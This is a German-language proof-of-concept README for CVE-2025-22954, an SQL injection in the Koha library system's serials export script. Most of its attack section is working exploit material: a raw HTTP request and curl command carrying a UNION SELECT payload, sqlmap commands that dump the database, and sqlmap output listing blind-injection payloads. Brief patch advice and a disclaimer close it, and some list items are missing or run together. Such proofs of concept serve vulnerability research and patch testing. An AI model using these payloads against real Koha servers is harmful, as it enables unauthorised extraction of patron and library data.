
Koha CVE-2025-22954: SQL-Injection in lateissues-export.pl
Dieses Repository enthält einen Proof of Concept für CVE-2025-22954, eine SQL-Injection-Sicherheitslücke mit kritischem Schweregrad (CVSS 10.0) in Koha vor Version 24.11.02. Die Schwachstelle existiert in der Funktion GetLateOrMissingIssues in C4/Serials.pm, die vom Skript /serials/lateissues-export.pl aufgerufen wird. Die Schwachstelle kann über die Parameter supplierid oder serialid ausgenutzt werden.
| CVE ID | CVE-2025-22954 |
|---|
| CVSS v3 | 10.0 (Kritisch) |
| EPSS Score | 0.03% (Top 5.26%) |
| Veröffentlicht | 12. März 2025 |
| Behoben in | Koha 24.11.02 |
| Fehlerbericht | Koha Bug #38829 |
| Versionshinweise | Koha 24.11.02 Release |
Die Schwachstelle geht auf unsichere Handhabung von Benutzereingaben in den Parametern supplierid und serialid im Skript lateissues-export.pl zurück, die an die Funktion GetLateOrMissingIssues in C4/Serials.pm übergeben werden. Die Funktion bereinigt oder parametrisiert diese Eingaben nicht ordnungsgemäß, bevor sie in SQL-Abfragen verwendet werden, was SQL-Injection-Angriffe ermöglicht.
Das anfällige Skript (lateissues-export.pl) enthält den folgenden Code:
my $supplierid = $query->param('supplierid');
my @serialids = $query->multi_param('serialid');
# ...
for my $serialid ( @serialids ) {
my @missingissues = GetLateOrMissingIssues($supplierid, $serialid);
# ...
# update claim date to let one know they have looked at this missing item
updateClaim($serialid);
}
Die Funktion GetLateOrMissingIssues in C4/Serials.pm enthält wahrscheinlich eine anfällige SQL-Abfragekonstruktion, bei der die Parameter $supplierid und $serialid ohne ordnungsgemäße Parametrisierung direkt in SQL-Anweisungen eingefügt werden.
Dieser Proof of Concept zeigt, wie ein authentifizierter Benutzer mit Zugriff auf das Serials-Modul diese Schwachstelle ausnutzen kann, um vertrauliche Daten aus der Koha-Datenbank zu extrahieren oder möglicherweise unbefugten Zugriff auf das zugrunde liegende Datenbanksystem zu erlangen.
lateissues-export.plDie folgende rohe HTTP-Anfrage kann verwendet werden, um die Schwachstelle auszunutzen:
GET /cgi-bin/koha/serials/lateissues-export.pl?supplierid=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -&serialid=1&csv_profile=1 HTTP/1.1
Host: koha.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Connection: close
curl -i -X GET "https://koha.example.com/cgi-bin/koha/serials/lateissues-export.pl?supplierid=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -&serialid=1&csv_profile=1"
SQLMap kann verwendet werden, um die Ausnutzung dieser Schwachstelle zu automatisieren. Erfassen Sie zunächst eine Anfrage an den anfälligen Endpunkt mit gültigen Authentifizierungs-Cookies und nutzen Sie dann SQLMap, um den Injektionspunkt auszunutzen.
# Save a request with valid cookies to request.txt
sqlmap -r request.txt -p supplierid --dbms=mysql --level=5 --risk=3
Beispiel für eine request.txt-Datei:
GET /cgi-bin/koha/serials/lateissues-export.pl?supplierid=1&serialid=1&csv_profile=1 HTTP/1.1
Host: koha.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Connection: close
Sie können die Schwachstelle auch direkt mit SQLMap ausnutzen:
sqlmap -u "https://koha.example.com/cgi-bin/koha/serials/lateissues-export.pl?supplierid=1&serialid=1&csv_profile=1" \
-p supplierid \
--dbms=mysql \
--dump
GET parameter 'supplierid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 59 HTTP(s) requests:
---
Parameter: supplierid (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: supplierid=(SELECT (CASE WHEN (1285=1285) THEN 1 ELSE (SELECT 7101 UNION SELECT 6384) END))&serialid=5&serialid=7&csv_profile=1
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: supplierid=1 AND (SELECT 5817 FROM (SELECT(SLEEP(5)))eSKk)&serialid=5&serialid=7&csv_profile=1
---
[10:46:38] [INFO] the back-end DBMS is MySQL
[10:46:38] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
web server operating system: Linux Ubuntu 19.10 or 20.04 or 20.10 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[10:46:40] [WARNING] HTTP error codes detected during run:
Diese Schwachstelle ermöglicht es einem authentifizierten Angreifer:
Aktualisieren Sie auf Koha Version 24.11.02 oder höher, die einen Fix für diese Schwachstelle enthält.
Wenn ein sofortiges Update nicht möglich ist, sollten Sie die folgenden temporären Gegenmaßnahmen in Betracht ziehen:
/serials/lateissues-export.pl auf vertrauenswürdige IP-AdressenC4/Serials.pm, um SQL-Abfragen in der Funktion GetLateOrMissingIssues ordnungsgemäß zu parametrisierenDieser Proof of Concept wird nur zu Bildungs- und Verteidigungszwecken bereitgestellt. Holen Sie stets die erforderliche Genehmigung ein, bevor Sie ein System auf Schwachstellen testen.
Der Autor übernimmt keine Verantwortung für Missbrauch dieser Informationen. Dieser Proof of Concept sollte nur auf Systemen verwendet werden, die Ihnen gehören oder für die Sie ausdrückliche Testberechtigung haben.